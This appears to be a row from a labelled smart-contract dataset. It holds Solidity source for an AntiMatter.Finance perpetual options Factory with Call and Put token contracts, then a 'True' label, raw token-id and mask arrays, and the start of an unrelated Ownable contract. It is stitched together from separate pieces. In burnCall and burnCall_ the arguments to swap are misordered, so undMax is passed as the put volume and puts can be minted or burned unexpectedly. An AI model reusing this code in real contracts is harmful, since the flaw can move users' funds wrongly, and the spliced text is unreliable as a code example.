_setConfig(key, value);
}
function setConfigI(bytes32 key, uint index, uint value) external governance {
_setConfig(bytes32(uint(key) ^ index), value);
}
function setConfigA(bytes32 key, address addr, uint value) public governance {
_setConfig(bytes32(uint(key) ^ uint(addr)), value);
}
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
contract Constants {
bytes32 internal constant _Call_ = 'Call';
bytes32 internal constant _Put_ = 'Put';
bytes32 internal constant _permissionless_ = 'permissionless';
//bytes32 internal constant _feeRate_ = 'feeRate';
bytes32 internal constant _feeTo_ = 'feeTo';
//bytes32 internal constant _uniswapRounter_ = 'uniswapRounter';
bytes32 internal constant _WETH_ = 'WETH';
uint256 internal constant MAX_FEE_RATE = 0.10 ether; // 10%
//string internal constant INPUT_OVERFLOW = 'INPUT_OVERFLOW';
//uint256 internal constant MIN_UINT256 = 0;
//uint256 internal constant MAX_UINT256 = uint256(-1);
//int256 internal constant MAX_INT256 = int256(MAX_UINT256/2);
//int256 internal constant MIN_INT256 = MAX_INT256 + 1; // overflow is desired
}
contract Factory is Configurable, ContextUpgradeSafe, Constants {
using SafeERC20 for IERC20;
using SafeMath for uint;
using SafeMath for int;
mapping(bytes32 => address) public productImplementations;
mapping(address => mapping(address => mapping(uint => mapping(uint => address)))) public calls; // _underlying => _currency => _priceFloor => _priceCap => call
mapping(address => mapping(address => mapping(uint => mapping(uint => address)))) public puts;
address[] public allCalls;
address[] public allPuts;
function length() public view returns (uint) {
return allCalls.length;
}
uint public feeRate;
function setFee(uint feeRate_, address feeTo) public governance {
require(feeRate_ <= MAX_FEE_RATE);
feeRate = feeRate_;
config[_feeTo_] = uint(feeTo);
}
function __Factory_init(address governor, address implCall, address implPut, address WETH, address feeTo) public initializer {
__Governable_init_unchained(governor);
__Factory_init_unchained(implCall, implPut, WETH, feeTo);
}
function __Factory_init_unchained(address implCall, address implPut, address WETH, address feeTo) public governance {
productImplementations[_Call_] = implCall;
productImplementations[_Put_] = implPut;
config[_WETH_] = uint(WETH);
//config[_uniswapRounter_] = uint(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
setFee(0.005 ether, feeTo); // 0.5%
}
function upgradeProductImplementationsTo(address implCall, address implPut) external governance {
productImplementations[_Call_] = implCall;
productImplementations[_Put_] = implPut;
}
function createOption(address underlying, address currency, uint priceFloor, uint priceCap) public returns (address call_, address put) {
require(underlying != currency, 'IDENTICAL_ADDRESSES');
require(underlying != address(0) && currency != address(0), 'ZERO_ADDRESS');
require(priceFloor < priceCap, 'priceCap should biger than priceFloor');
require(config[_permissionless_] != 0 || _msgSender() == governor);
require(calls[underlying][currency][priceFloor][priceCap] == address(0), 'the Call/Put exist already'); // single check is sufficient
bytes memory bytecode = type(InitializableProductProxy).creationCode;
bytes32 salt = keccak256(abi.encodePacked(_Call_, underlying, currency, priceFloor, priceCap));
assembly {
call_ := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
InitializableProductProxy(payable(call_)).__InitializableProductProxy_init(address(this), _Call_, abi.encodeWithSignature('__Call_init(address,address,uint256,uint256)', underlying, currency, priceFloor, priceCap));
salt = keccak256(abi.encodePacked(_Put_, underlying, currency, priceFloor, priceCap));
assembly {
put := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
InitializableProductProxy(payable(put)).__InitializableProductProxy_init(address(this), _Put_, abi.encodeWithSignature('__Put_init(address,address,uint256,uint256)', underlying, currency, priceFloor, priceCap));
calls[underlying][currency][priceFloor][priceCap] = call_;
puts [underlying][currency][priceFloor][priceCap] = put;
allCalls.push(call_);
allPuts.push(put);
emit CreateOption(_msgSender(), underlying, currency, priceFloor, priceCap, call_, put, allCalls.length);
}
event CreateOption(address indexed creator, address indexed underlying, address indexed currency, uint priceFloor, uint priceCap, address call, address put, uint count);
//if(dCur > 0) {
// IERC20(currency).safeTransferFrom(sender, put, uint(dCur));
// IERC20(currency).safeTransferFrom(sender, address(config[_feeTo_]), uint(dCur).mul(feeRate).div(1e18));
//} else if(dCur < 0) {
// uint fee = uint(-dCur).mul(feeRate).div(1e18);
// Put(put).withdraw_(address(config[_feeTo_]), fee);
// Put(put).withdraw_(sender, uint(-dCur).sub(fee));
//}
function _transfer(address payable sender, address callOrPut, address undOrCur, int vol) internal {
if(vol > 0) {
address from = sender;
uint fee = uint(vol).mul(feeRate).div(1e18);
if(msg.value > 0 && undOrCur == address(config[_WETH_])) {
uint deltaAndFee = uint(vol).add(fee);
require(msg.value >= deltaAndFee, 'msg.value not enough');
IWETH(config[_WETH_]).deposit{value: deltaAndFee}();
if(msg.value > deltaAndFee)
sender.transfer(msg.value - deltaAndFee);
from = address(this);
}
if(from == address(this)) {
IERC20(undOrCur).safeTransfer(callOrPut, uint(vol));
IERC20(undOrCur).safeTransfer(address(config[_feeTo_]), fee);
} else {
IERC20(undOrCur).safeTransferFrom(from, callOrPut, uint(vol));
IERC20(undOrCur).safeTransferFrom(from, address(config[_feeTo_]), fee);
}
} else if(vol < 0) {
uint fee = uint(-vol).mul(feeRate).div(1e18);
Call(callOrPut).withdraw_(address(config[_feeTo_]), fee);
address to = sender;
if(undOrCur == address(config[_WETH_]))
to = address(this);
uint v = uint(-vol).sub(fee);
Call(callOrPut).withdraw_(to, v);
if(to == address(this)) {
IWETH(config[_WETH_]).withdraw(v);
sender.transfer(v);
}
}
}
function _checkMistakeETH(address payable sender, address underlying, address currency, int dUnd, int dCur) internal {
address WETH = address(config[_WETH_]);
if(msg.value > 0 && ((underlying != WETH && currency != WETH) || (underlying == WETH && dUnd <= 0) || (currency == WETH && dCur <= 0)))
sender.transfer(msg.value);
}
function swap(address underlying, address currency, uint priceFloor, uint priceCap, int dCall, int dPut, int undMax, int curMax) public payable returns (address call, address put, int dUnd, int dCur) {
return _swap(_msgSender(), underlying, currency, priceFloor, priceCap, dCall, dPut, undMax, curMax);
}
function _swap(address payable sender, address underlying, address currency, uint priceFloor, uint priceCap, int dCall, int dPut, int undMax, int curMax) internal returns (address call, address put, int dUnd, int dCur) {
call = calls[underlying][currency][priceFloor][priceCap];
put = puts [underlying][currency][priceFloor][priceCap];
if(put == address(0)) // single check is sufficient
(call, put) = createOption(underlying, currency, priceFloor, priceCap);
//uint totalUnd; // share priceFloor instead of totalUnd to avoid stack too deep errors
//uint totalCur; // share priceCap instead of totalCur to avoid stack too deep errors
//(dUnd, dCur, totalUnd, totalCur) = calcDelta(priceFloor, priceCap, Call(call).totalSupply(), Put(put).totalSupply(), dCall, dPut);
(dUnd, dCur, priceFloor, priceCap) = calcDelta(priceFloor, priceCap, Call(call).totalSupply(), Put(put).totalSupply(), dCall, dPut);
require(SafeMath.add_(dUnd, Math.abs(dUnd).mul(feeRate).div(1e18)) <= undMax && SafeMath.add_(dCur, Math.abs(dCur).mul(feeRate).div(1e18)) <= curMax, 'slippage too high');
_transfer(sender, call, underlying, dUnd);
_transfer(sender, put, currency, dCur);
_checkMistakeETH(sender, underlying, currency, dUnd, dCur);
if(dCall > 0)
Call(call).mint_(sender, uint(dCall));
else if(dCall < 0)
Call(call).burn_(sender, uint(-dCall));
if(dPut > 0)
Put(put).mint_(sender, uint(dPut));
else if(dPut < 0)
Put(put).burn_(sender, uint(-dPut));
//require(IERC20(underlying).balanceOf(call) >= totalUnd && IERC20(currency).balanceOf(put) >= totalCur, 'reserve less than expected');
//emit Swap(sender, underlying, currency, priceFloor, priceCap, call, put, dCall, dPut, dUnd, dCur);
require(IERC20(underlying).balanceOf(call) >= priceFloor && IERC20(currency).balanceOf(put) >= priceCap, 'reserve less than expected'); // share priceFloor and priceCap instead of totalUnd and totalCur to avoid stack too deep errors
emit Swap(sender, underlying, currency, Call(call).priceFloor(), Call(call).priceCap(), call, put, dCall, dPut, dUnd, dCur);
}
event Swap(address indexed sender, address indexed underlying, address indexed currency, uint priceFloor, uint priceCap, address call, address put, int dCall, int dPut, int dUnd, int dCur);
function _swap2(address undFrom, address curFrom, address underlying, address currency, uint priceFloor, uint priceCap, int volCall, int volPut, int undMax, int curMax) internal returns (address call, address put, int dUnd, int dCur) {
call = calls[underlying][currency][priceFloor][priceCap];
put = puts [underlying][currency][priceFloor][priceCap];
if(volCall < 0)
Call(call).transferFrom(undFrom, address(this), uint(-volCall));
if(volPut < 0)
Put (put ).transferFrom(curFrom, address(this), uint(-volPut));
if(undMax > 0)
IERC20(underlying).safeTransferFrom(undFrom, address(this), uint(undMax));
if(curMax > 0)
IERC20(currency ).safeTransferFrom(curFrom, address(this), uint(curMax));
(call, put, dUnd, dCur) = _swap(address(uint160(address(this))), underlying, currency, priceFloor, priceCap, volCall, volPut, undMax, curMax);
if(Math.max_(0, undMax) > dUnd)
IERC20(underlying).safeTransfer(undFrom, uint(Math.max_(0, undMax).sub_(dUnd)));
if(Math.max_(0, curMax) > dCur)
IERC20(currency ).safeTransfer(curFrom, uint(Math.max_(0, curMax).sub_(dCur)));
if(volCall > 0)
Call(call).transfer(undFrom, uint(volCall));
if(volPut > 0)
Put (put ).transfer(curFrom, uint(volPut));
}
function swap2_(address undFrom, address curFrom, address underlying, address currency, uint priceFloor, uint priceCap, int volCall, int volPut, int undMax, int curMax) external governance returns (address call, address put, int dUnd, int dCur) {
uint oldFeeRate = feeRate;
feeRate = 0;
(call, put, dUnd, dCur) = _swap2(undFrom, curFrom, underlying, currency, priceFloor, priceCap, volCall, volPut, undMax, curMax);
feeRate = oldFeeRate;
}
function mint4(address underlying, address currency, uint priceFloor, uint priceCap, int volCall, int volPut, int undMax, int curMax) public payable returns (address call, address put, int dUnd, int dCur) {
return swap(underlying, currency, priceFloor, priceCap, volCall, volPut, undMax, curMax);
}
function mint(address callOrPut, int volCall, int volPut, int undMax, int curMax) external payable returns (int dUnd, int dCur) {
(address underlying, address currency, uint priceFloor, uint priceCap) = Call(callOrPut).attributes();
(, , dUnd, dCur) = swap(underlying, currency, priceFloor, priceCap, volCall, volPut, undMax, curMax);
}
function mintCall4(address underlying, address currency, uint priceFloor, uint priceCap, int volCall, int undMax, int curMax) public payable returns (address call, int dUnd, int dCur) {
(call, , dUnd, dCur) = swap(underlying, currency, priceFloor, priceCap, volCall, 0, undMax, curMax);
}
function mintCall(address call, int volCall, int undMax, int curMax) public payable returns (int dUnd, int dCur) {
(address underlying, address currency, uint priceFloor, uint priceCap) = Call(call).attributes();
(, , dUnd, dCur) = swap(underlying, currency, priceFloor, priceCap, volCall, 0, undMax, curMax);
}
function mintCall_(address payable sender, address underlying, address currency, uint priceFloor, uint priceCap, int volCall, int undMax, int curMax) public payable returns (int dUnd, int dCur) {
require(msg.sender == calls[underlying][currency][priceFloor][priceCap], 'Only Call');
(, , dUnd, dCur) = _swap(sender, underlying, currency, priceFloor, priceCap, volCall, 0, undMax, curMax);
}
function mintPut4(address underlying, address currency, uint priceFloor, uint priceCap, int volPut, int undMax, int curMax) public payable returns (address put, int dUnd, int dCur) {
(, put, dUnd, dCur) = swap(underlying, currency, priceFloor, priceCap, 0, volPut, undMax, curMax);
}
function mintPut(address put, int volPut, int undMax, int curMax) external payable returns (int dUnd, int dCur) {
(address underlying, address currency, uint priceFloor, uint priceCap) = Put(put).attributes();
(, , dUnd, dCur) = swap(underlying, currency, priceFloor, priceCap, 0, volPut, undMax, curMax);
}
function mintPut_(address payable sender, address underlying, address currency, uint priceFloor, uint priceCap, int volPut, int undMax, int curMax) external payable returns (int dUnd, int dCur) {
require(msg.sender == puts[underlying][currency][priceFloor][priceCap], 'Only Put');
(, , dUnd, dCur) = _swap(sender, underlying, currency, priceFloor, priceCap, 0, volPut, undMax, curMax);
}
function burn4(address underlying, address currency, uint priceFloor, uint priceCap, int volCall, int volPut, int undMax, int curMax) public payable returns (address call, address put, int dUnd, int dCur) {
return swap(underlying, currency, priceFloor, priceCap, volCall, volPut, undMax, curMax);
}
function burn(address callOrPut, int volCall, int volPut, int undMax, int curMax) external payable returns (int dUnd, int dCur) {
(address underlying, address currency, uint priceFloor, uint priceCap) = Call(callOrPut).attributes();
(, , dUnd, dCur) = swap(underlying, currency, priceFloor, priceCap, volCall, volPut, undMax, curMax);
}
function burnCall4(address underlying, address currency, uint priceFloor, uint priceCap, int volCall, int undMax, int curMax) public payable returns (address call, int dUnd, int dCur) {
(call, , dUnd, dCur) = swap(underlying, currency, priceFloor, priceCap, volCall, 0, undMax, curMax);
}
function burnCall(address call, int volCall, int undMax, int curMax) external payable returns (int dUnd, int dCur) {
(address underlying, address currency, uint priceFloor, uint priceCap) = Call(call).attributes();
(, , dUnd, dCur) = swap(underlying, currency, priceFloor, priceCap, volCall, undMax, curMax, curMax);
}
function burnCall_(address payable sender, address underlying, address currency, uint priceFloor, uint priceCap, int volCall, int undMax, int curMax) external payable returns (int dUnd, int dCur) {
require(msg.sender == calls[underlying][currency][priceFloor][priceCap], 'Only Call');
(, , dUnd, dCur) = _swap(sender, underlying, currency, priceFloor, priceCap, volCall, undMax, curMax, curMax);
}
function burnPut4(address underlying, address currency, uint priceFloor, uint priceCap, int volPut, int undMax, int curMax) public payable returns (address put, int dUnd, int dCur) {
(, put, dUnd, dCur) = swap(underlying, currency, priceFloor, priceCap, 0, volPut, undMax, curMax);
}
function burnPut(address put, int volPut, int undMax, int curMax) external payable returns (int dUnd, int dCur) {
(address underlying, address currency, uint priceFloor, uint priceCap) = Put(put).attributes();
(, , dUnd, dCur) = swap(underlying, currency, priceFloor, priceCap, 0, volPut, undMax, curMax);
}
function burnPut_(address payable sender, address underlying, address currency, uint priceFloor, uint priceCap, int volPut, int undMax, int curMax) external payable returns (int dUnd, int dCur) {
require(msg.sender == puts[underlying][currency][priceFloor][priceCap], 'Only Put');
(, , dUnd, dCur) = _swap(sender, underlying, currency, priceFloor, priceCap, 0, volPut, undMax, curMax);
}
function calc(uint priceFloor, uint priceCap, uint totalCall, uint totalPut) public pure returns (uint totalUnd, uint totalCur) {
if(totalCall == 0 && totalPut == 0)
return (0, 0);
uint temp = totalCall.mul(totalPut).div(totalCall.add(totalPut)).mul(priceCap.sub(priceFloor)).div(1e18).mul(2);
totalUnd = temp.mul(totalCall).div(totalCall.mul(priceFloor).add(totalPut.mul(priceCap)).div(1e18));
totalCur = temp.mul(totalPut).div(totalCall.add(totalPut));
}
function calcDelta(uint priceFloor, uint priceCap, uint totalCall, uint totalPut, int dCall, int dPut) public pure returns (int dUnd, int dCur, uint totalUnd, uint totalCur) {
(uint oldUnd, uint oldCur) = calc(priceFloor, priceCap, totalCall, totalPut);
(totalUnd, totalCur) = calc(priceFloor, priceCap, totalCall.add(dCall), totalPut.add(dPut));
dUnd = totalUnd.sub_(oldUnd);
dCur = totalCur.sub_(oldCur);
}
function calcDeltaWithFeeAndSlippage(uint priceFloor, uint priceCap, uint totalCall, uint totalPut, int dCall, int dPut, uint slippage) public view returns (int undMax, int curMax, uint totalUnd, uint totalCur) {
(undMax, curMax, totalUnd, totalCur) = calcDelta(priceFloor, priceCap, totalCall, totalPut, dCall, dPut);
undMax = SafeMath.add_(undMax, Math.abs(undMax).mul(feeRate.add(slippage)).div(1e18));
curMax = SafeMath.add_(curMax, Math.abs(curMax).mul(feeRate.add(slippage)).div(1e18));
}
//function calcDelta(uint priceFloor, uint priceCap, uint totalCall, uint totalPut, uint incCall, uint incPut, uint decCall, uint decPut) public pure returns (uint incUnd, uint incCur, uint decUnd, uint decCur, uint totalUnd, uint totalCur) {
// (decUnd, decCur) = calc(priceFloor, priceCap, totalCall, totalPut); // share decUnd, decCur instead of oldTotalUnd, oldTotalCur to avoid stack too deep errors
// totalCall = totalCall.add(incCall).sub(decCall);
// totalPut = totalPut.add(incPut).sub(decPut);
// (totalUnd, totalCur) = calc(priceFloor, priceCap, totalCall, totalPut);
// if(totalUnd > decUnd) {
// incUnd = totalUnd.sub(decUnd);
// decUnd = 0;
// } else
// decUnd = decUnd.sub(totalUnd);
// if(totalCur > decCur) {
// incCur = totalCur.sub(decCur);
// decCur = 0;
// } else
// decCur = decCur.sub(totalCur);
//}
function priceValue(uint priceFloor, uint priceCap, uint totalCall, uint totalPut) public pure returns (uint priceUnderlying, uint valueReserve) {
priceUnderlying = (priceFloor.mul(totalCall).add(priceCap.mul(totalPut))).div(totalCall.add(totalPut));
valueReserve = priceUnderlying.sub(priceFloor).mul(totalCall).add(priceCap.sub(priceUnderlying).mul(totalPut)).div(1e18);
}
function priceValue4(address underlying, address currency, uint priceFloor, uint priceCap) public view returns (uint priceUnderlying, uint valueReserve) {
address call = calls[underlying][currency][priceFloor][priceCap];
address put = puts [underlying][currency][priceFloor][priceCap];
if(put == address(0)) // single check is sufficient
return (0, 0);
return priceValue(priceFloor, priceCap, Call(call).totalSupply(), Put(put).totalSupply());
}
function priceValue1(address callOrPut) public view returns (uint priceUnderlying, uint valueReserve) {
(address underlying, address currency, uint priceFloor, uint priceCap) = Call(callOrPut).attributes();
return priceValue4(underlying, currency, priceFloor, priceCap);
}
function priceTo18(uint _price, uint8 underlyingDecimals, uint8 currencyDecimals) public pure returns (uint) {
return _price.mul(10 ** uint256(underlyingDecimals)).div(10 ** uint256(currencyDecimals));
}
function priceTo18a(uint _price, address underlying, address currency) public view returns (uint) {
return priceTo18(_price, ERC20UpgradeSafe(underlying).decimals(), ERC20UpgradeSafe(currency).decimals());
}
function priceFrom18(uint price18, uint8 underlyingDecimals, uint8 currencyDecimals) public pure returns (uint) {
return price18.mul(10 ** uint256(currencyDecimals)).div(10 ** uint256(underlyingDecimals));
}
function priceFrom18a(uint price18, address underlying, address currency) public view returns (uint) {
return priceFrom18(price18, ERC20UpgradeSafe(underlying).decimals(), ERC20UpgradeSafe(currency).decimals());
}
}
contract Call is ERC20UpgradeSafe {
using SafeERC20 for IERC20;
using SafeMath for uint;
address public factory;
address public underlying;
address public currency;
uint public priceFloor;
uint public priceCap;
function __Call_init(address _underlying, address _currency, uint _priceFloor, uint _priceCap) external initializer {
(string memory name, string memory symbol) = spellNameAndSymbol(_underlying, _currency, _priceFloor, _priceCap);
__ERC20_init(name, symbol);
_setupDecimals(ERC20UpgradeSafe(_underlying).decimals());
factory = _msgSender();
underlying = _underlying;
currency = _currency;
priceFloor = _priceFloor;
priceCap = _priceCap;
}
function spellNameAndSymbol(address _underlying, address _currency, uint _priceFloor, uint _priceCap) public view returns (string memory name, string memory symbol) {
//return ('AntiMatter.Finance ETH Perpetual Call Option Floor $1000 Cap $2000', '+ETH(1000$2000)');
return('AntiMatter.Finance Perpetual Call Token', 'Call');
}
function setNameAndSymbol(string memory name, string memory symbol) external {
require(_msgSender() == Factory(factory).governor());
_name = name;
_symbol = symbol;
}
modifier onlyFactory {
require(_msgSender() == factory, 'Only Factory');
_;
}
function withdraw_(address to, uint volume) external onlyFactory {
IERC20(underlying).safeTransfer(to, volume);
}
function mint_(address _to, uint volume) external onlyFactory {
_mint(_to, volume);
}
function burn_(address _from, uint volume) external onlyFactory {
_burn(_from, volume);
}
function mint(int volume, int undMax, int curMax) external payable returns (int dUnd, int dCur) {
return Factory(factory).mintCall_{value: msg.value}(_msgSender(), underlying, currency, priceFloor, priceCap, volume, undMax, curMax);
}
function burn(int volume, int undMax, int curMax) external payable returns (int dUnd, int dCur) {
return Factory(factory).burnCall_{value: msg.value}(_msgSender(), underlying, currency, priceFloor, priceCap, volume, undMax, curMax);
}
function burnAll(int undMax, int curMax) external payable returns (int dUnd, int dCur) {
return Factory(factory).burnCall_{value: msg.value}(_msgSender(), underlying, currency, priceFloor, priceCap, int(balanceOf(_msgSender())), undMax, curMax);
}
function attributes() public view returns (address _underlying, address _currency, uint _priceFloor, uint _priceCap) {
return (underlying, currency, priceFloor, priceCap);
}
function priceValue() public view returns (uint priceUnderlying, uint valueReserve) {
return Factory(factory).priceValue1(address(this));
}
}
contract Put is ERC20UpgradeSafe, Constants {
using SafeERC20 for IERC20;
using SafeMath for uint;
address public factory;
address public underlying;
address public currency;
uint public priceFloor;
uint public priceCap;
function __Put_init(address _underlying, address _currency, uint _priceFloor, uint _priceCap) external initializer {
(string memory name, string memory symbol) = spellNameAndSymbol(_underlying, _currency, _priceFloor, _priceCap);
__ERC20_init(name, symbol);
_setupDecimals(ERC20UpgradeSafe(_underlying).decimals());
factory = _msgSender();
underlying = _underlying;
currency = _currency;
priceFloor = _priceFloor;
priceCap = _priceCap;
}
function spellNameAndSymbol(address _underlying, address _currency, uint _priceFloor, uint _priceCap) public view returns (string memory name, string memory symbol) {
//return ('AntiMatter.Finance ETH Perpetual Put Option Floor $1000 Cap $2000', '-ETH(1000$2000)');
return('AntiMatter.Finance Perpetual Put Token', 'Put');
}
function setNameAndSymbol(string memory name, string memory symbol) external {
require(_msgSender() == Factory(factory).governor());
_name = name;
_symbol = symbol;
}
modifier onlyFactory {
require(_msgSender() == factory, 'Only Factory');
_;
}
function withdraw_(address to, uint volume) external onlyFactory {
IERC20(currency).safeTransfer(to, volume);
}
function mint_(address _to, uint volume) external onlyFactory {
_mint(_to, volume);
}
function burn_(address _from, uint volume) external onlyFactory {
_burn(_from, volume);
}
function mint(int volume, int undMax, int curMax) external payable returns (int dUnd, int dCur) {
return Factory(factory).mintPut_{value: msg.value}(_msgSender(), underlying, currency, priceFloor, priceCap, volume, undMax, curMax);
}
function burn(int volume, int undMax, int curMax) external payable returns (int dUnd, int dCur) {
return Factory(factory).burnPut_{value: msg.value}(_msgSender(), underlying, currency, priceFloor, priceCap, volume, undMax, curMax);
}
function burnAll(int undMax, int curMax) external payable returns (int dUnd, int dCur) {
return Factory(factory).burnPut_{value: msg.value}(_msgSender(), underlying, currency, priceFloor, priceCap, int(balanceOf(_msgSender())), undMax, curMax);
}
function attributes() public view returns (address _underlying, address _currency, uint _priceFloor, uint _priceCap) {
return (underlying, currency, priceFloor, priceCap);
}
function priceValue() public view returns (uint priceUnderlying, uint valueReserve) {
return Factory(factory).priceValue1(address(this));
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
24540,
1008,
1030,
16475,
22164,
10656,
1997,
4455,
2000,
2060,
8311,
1010,
2007,
5372,
1008,
2830,
2075,
1997,
2709,
5300,
1998,
25054,
1997,
15428,
1012,
1008,
2009,
11859,
1037,
2991,
5963,
3853,
2008,
10284,
2035,
4455,
2000,
1996,
4769,
1008,
2513,
2011,
1996,
10061,
1035,
7375,
1006,
1007,
4722,
3853,
1012,
1008,
1013,
10061,
3206,
24540,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
2991,
5963,
3853,
1012,
1008,
7528,
4498,
1999,
1036,
1035,
2991,
5963,
1036,
1012,
1008,
1013,
2991,
5963,
1006,
1007,
3477,
3085,
6327,
1063,
1035,
2991,
5963,
1006,
1007,
1025,
1065,
4374,
1006,
1007,
3477,
3085,
6327,
1063,
1035,
2991,
5963,
1006,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
2709,
1996,
4769,
1997,
1996,
7375,
1012,
1008,
1013,
3853,
1035,
7375,
1006,
1007,
7484,
4722,
3193,
5651,
1006,
4769,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10284,
7781,
2000,
2019,
7375,
3206,
1012,
1008,
2023,
2003,
1037,
2659,
2504,
3853,
2008,
2987,
1005,
1056,
2709,
2000,
2049,
4722,
2655,
2609,
1012,
1008,
2009,
2097,
2709,
2000,
1996,
6327,
20587,
3649,
1996,
7375,
5651,
1012,
1008,
1030,
11498,
2213,
7375,
4769,
2000,
11849,
1012,
1008,
1013,
3853,
1035,
11849,
1006,
4769,
7375,
1007,
4722,
1063,
3320,
1063,
1013,
1013,
6100,
5796,
2290,
1012,
2951,
1012,
2057,
2202,
2440,
2491,
1997,
3638,
1999,
2023,
23881,
3320,
1013,
1013,
3796,
2138,
2009,
2097,
2025,
2709,
2000,
5024,
3012,
3642,
1012,
2057,
2058,
26373,
1996,
1013,
1013,
5024,
3012,
11969,
11687,
2012,
3638,
2597,
1014,
1012,
2655,
2850,
2696,
3597,
7685,
1006,
1014,
1010,
1014,
1010,
2655,
2850,
10230,
4697,
1006,
1007,
1007,
1013,
1013,
2655,
1996,
7375,
1012,
1013,
1013,
2041,
1998,
21100,
4697,
2024,
1014,
2138,
2057,
2123,
1005,
1056,
2113,
1996,
2946,
2664,
1012,
2292,
2765,
1024,
1027,
11849,
9289,
2140,
1006,
3806,
1006,
1007,
1010,
7375,
1010,
1014,
1010,
2655,
2850,
10230,
4697,
1006,
1007,
1010,
1014,
1010,
1014,
1007,
1013,
1013,
6100,
1996,
2513,
2951,
1012,
2709,
2850,
2696,
3597,
7685,
1006,
1014,
1010,
1014,
1010,
2709,
2850,
10230,
4697,
1006,
1007,
1007,
6942,
2765,
1013,
1013,
11849,
9289,
2140,
5651,
1014,
2006,
7561,
1012,
2553,
1014,
1063,
7065,
8743,
1006,
1014,
1010,
2709,
2850,
10230,
4697,
1006,
1007,
1007,
1065,
12398,
1063,
2709,
1006,
1014,
1010,
2709,
2850,
10230,
4697,
1006,
1007,
1007,
1065,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
3853,
2008,
2003,
2448,
2004,
1996,
2034,
2518,
1999,
1996,
2991,
5963,
3853,
1012,
1008,
2064,
2022,
2417,
28344,
1999,
5173,
8311,
2000,
5587,
15380,
1012,
1008,
2417,
12879,
5498,
9285,
2442,
2655,
3565,
1012,
1035,
2097,
13976,
5963,
1006,
1007,
1012,
1008,
1013,
3853,
1035,
2097,
13976,
5963,
1006,
1007,
7484,
4722,
1063,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
2991,
5963,
7375,
1012,
1008,
15901,
2000,
9585,
6410,
29170,
1012,
1008,
1013,
3853,
1035,
2991,
5963,
1006,
1007,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.23;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
